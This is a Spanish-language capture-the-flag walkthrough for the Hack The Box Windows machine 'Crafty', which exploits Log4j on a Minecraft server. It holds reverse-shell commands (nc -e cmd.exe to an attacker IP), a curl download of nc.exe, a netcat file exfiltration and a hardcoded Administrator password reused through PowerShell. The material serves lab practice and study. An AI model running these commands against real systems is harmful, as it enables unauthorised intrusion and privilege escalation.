Crafty

OS: Windows
Dificultad: Fácil
Puntos: 20

Nmap Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.249 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -vvv -p $ports -sC -sV -oN nmap.txt 10.10.11.249
Nmap scan report for 10.10.11.249
Host is up, received echo-reply ttl 127 (0.067s latency).
Scanned at 2024-02-12 18:58:06 EST for 12s

PORT      STATE SERVICE   REASON          VERSION
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 1/100)

Enumeracion

Se esta ejecutando un servidor Minecraft 1.16.5 y la aplicacion web muestra un dominio nuevo.

Minecraft Log4j

Se identifico que el servidor puede ser vulnerable a log4j por lo tanto usaremos el siguiente POC. Necesitamos modificar lo siguiente en el script poc.py.

String cmd="cmd.exe";
...
...
...
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_181/bin/javac"), str(p)])
...
...
...
os.path.join(CUR_FOLDER, 'jdk1.8.0_181/bin/java')
...
...
...
os.path.join(CUR_FOLDER, "jdk1.8.0_181/bin/java")

Ahora para ejecutar el script requerimos descargar el JDK correcto. En este caso usaremos 8u181. Pondremos la caperta descomprimida en donde descargamos el repositorio. En mi caso ~/htb/Box/Crafty/log4j-shell-poc/

Ejecutamos el script.

python3 poc.py --userip 10.10.15.25 --webport 80 --lport 1234

Lo siguiente sera conectarnos al servidor con un cliente de minecraft usaremos el siguiente pyCraft.

Note

Se instalo python 3.9 para correcto funcionamiento del cliente https://ninja-ide.org/how-to-install-python-on-kali-linux/

python3.9 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Ahora ponemos a la escucha nuestro netcat y ejecutamos el script.

nc -lvnp 1234
python start.py -o -u doom -s 10.10.11.249:25565

Tendremos que dar un enter para que nos aparezca el mensaje de Connected. Una vez que tengamos esto enviamos el payload.

Obtendremos nuestra reverse shell.

Privilege Escalation

Dentro del directorio plugins hay un archivo jar.

c:\Users\svc_minecraft\server\plugins>dir

 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of c:\Users\svc_minecraft\server\plugins

10/27/2023  02:48 PM    <DIR>          .
10/27/2023  02:48 PM    <DIR>          ..
10/27/2023  02:48 PM             9,996 playercounter-1.0-SNAPSHOT.jar
               1 File(s)          9,996 bytes
               2 Dir(s)   3,362,201,600 bytes free

Lo descargaremos utilizando netcat para eso subiremos el archivo a la maquina.

# Attacker machine
cp /usr/share/windows-resources/binaries/nc.exe .
python3 -m http.server 80
# Victim machine
mkdir c:\temp
curl 10.10.14.147/nc.exe -o c:\temp\nc.exe

Ahora nos enviaremos el archivo para analizarlo en nuestra maquina.

nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar
c:\temp\nc.exe -w 5 10.10.14.147 4444 < playercounter-1.0-SNAPSHOT.jar

Reversing jar file

Utilizando jd-gui podemos analizar el archivo y vemos que hay un password en el codigo.

Si probamos este password con el usuario administrator podemos acceder pero ya que no tenemos puerto de remote desktop utilizamos powershell para lograrlo.

Note

Para evitar posibles problemas con los comando es recomendable obtener otra reverse shell mas estable:
c:\temp>nc.exe 10.10.14.147 5555 -e cmd.exe

$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator',$SecPass)
Start-Process -FilePath "c:\temp\nc.exe" -argumentlist "-e cmd.exe 10.10.14.147 4444" -Credential $cred

Referencias

https://github.com/kozmer/log4j-shell-poc
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
https://github.com/ammaraskar/pyCraft
https://ninja-ide.org/how-to-install-python-on-kali-linux/